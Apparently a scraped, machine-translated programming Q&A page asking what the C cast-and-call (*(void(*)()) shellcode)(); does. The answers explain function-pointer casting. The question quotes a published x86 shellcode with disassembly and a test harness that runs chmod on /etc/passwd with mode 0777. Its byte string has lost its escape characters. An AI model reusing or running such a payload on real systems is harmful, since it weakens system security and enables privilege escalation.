什么(*(void(*)()) shellcode)();的意思
what (*(void(*)()) shellcode)(); means?
抱歉,如果这听起来微不足道,但谁能给我解释一下这是什么?
(*(void(*)()) shellcode)();
我认为第二个*
是设置void
是一个指针,但和第一个*
?铸造?()
是用来调用某个函数的?
源代码在这里:
/*
# Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes
# Platform: linux/x86_64
# Author: Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham
Disassembly of section .text:
00000000 <.text>:
0: 6a 0f push $0xf
2: 58 pop %eax
3: 68 90 90 ff 01 push $0x1ff9090
8: 59 pop %ecx
9: c1 e9 10 shr $0x10,%ecx
c: 68 90 73 77 64 push $0x64777390
11: 5b pop %ebx
12: c1 eb 08 shr $0x8,%ebx
15: 53 push %ebx
16: 68 2f 70 61 73 push $0x7361702f
1b: 68 2f 65 74 63 push $0x6374652f
20: 89 e3 mov %esp,%ebx
22: cd 80 int $0x80
24: b0 01 mov $0x1,%al
26: b3 01 mov $0x1,%bl
28: cd 80 int $0x80
*/
#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[] = "x6ax0fx58x68x90x90xffx01x59xc1xe9x10x68x90x73x77x64x5bxc1xebx08x53x68x2fx70x61x73x68x2fx65x74x63x89xe3xcdx80xb0x01xb3x01xcdx80";
fprintf(stdout, "Length: %dnn", strlen(shellcode));
(*(void(*)()) shellcode)();
}
它将shellcode
转换为一个函数指针,不返回任何东西,并接受未指定数量的参数。然后调用它
void (*)()
是一个函数的类型,它不返回任何值,接受未指定数目的形参。
/* | --------------------| Cast to a function pointer
| | */
(* ((void(*)()) shellcode)) () /*
^ ^ call the function through the pointer
|-- dereference the pointer */
shellcode是一个函数指针的签名。它用于查找基指针,并添加一些偏移量来查找函数指针。
考虑下面的代码,它是相同的:
#include <iostream>
void anotherFunction()
{
std::cout << "Im being called" << std::endl;
}
int main()
{
typedef void (*funcPtr)(void);
funcPtr f=&anotherFunction;
f();
std::cin.get();
return 0;
}
这和
是一样的(*(void(*)(void))&anotherFunction)();
除了c的签名。
相关文章:
- 这个语法std::class<>{}(arg1, arg2) 在C++中是什么意思?
- 标准 N3337 5.2.10 第 7 条中的C++"类型"是什么意思?
- "类模板示例<int>;"语句对 C++11 是什么意思?
- 线应该是什么意思
- 错误:无效的预处理指令 #i 的意思是 #if?
- "CID"在AT+HTTPPARA= "CID" ,1中是什么意思
- 表达式"b=(b-x)&x"是什么意思?
- 这个表达是什么意思?
- 此代码验证公式是什么意思?
- 跟踪日志中的T.11803()是什么意思?
- Trie*& 和 Trie** 的意思是 Same?
- 这个额外的关键字在这个 c++ 类声明中是什么意思?
- 错误:无法解析对重载函数的引用;你的意思是调用它吗?
- * 和 ** 在 C++ 函数声明中是什么意思?
- _T("xyz")是什么意思?
- #define Dbg(fmt,..) (0) 是什么意思? 警告:表达式无效
- 这行代码到底是什么意思?
- 在命名空间名称之前加上 :: 是什么意思?
- 从字符数组的元素中减去'a'是什么意思
- 什么(*(void(*)()) shellcode)();的意思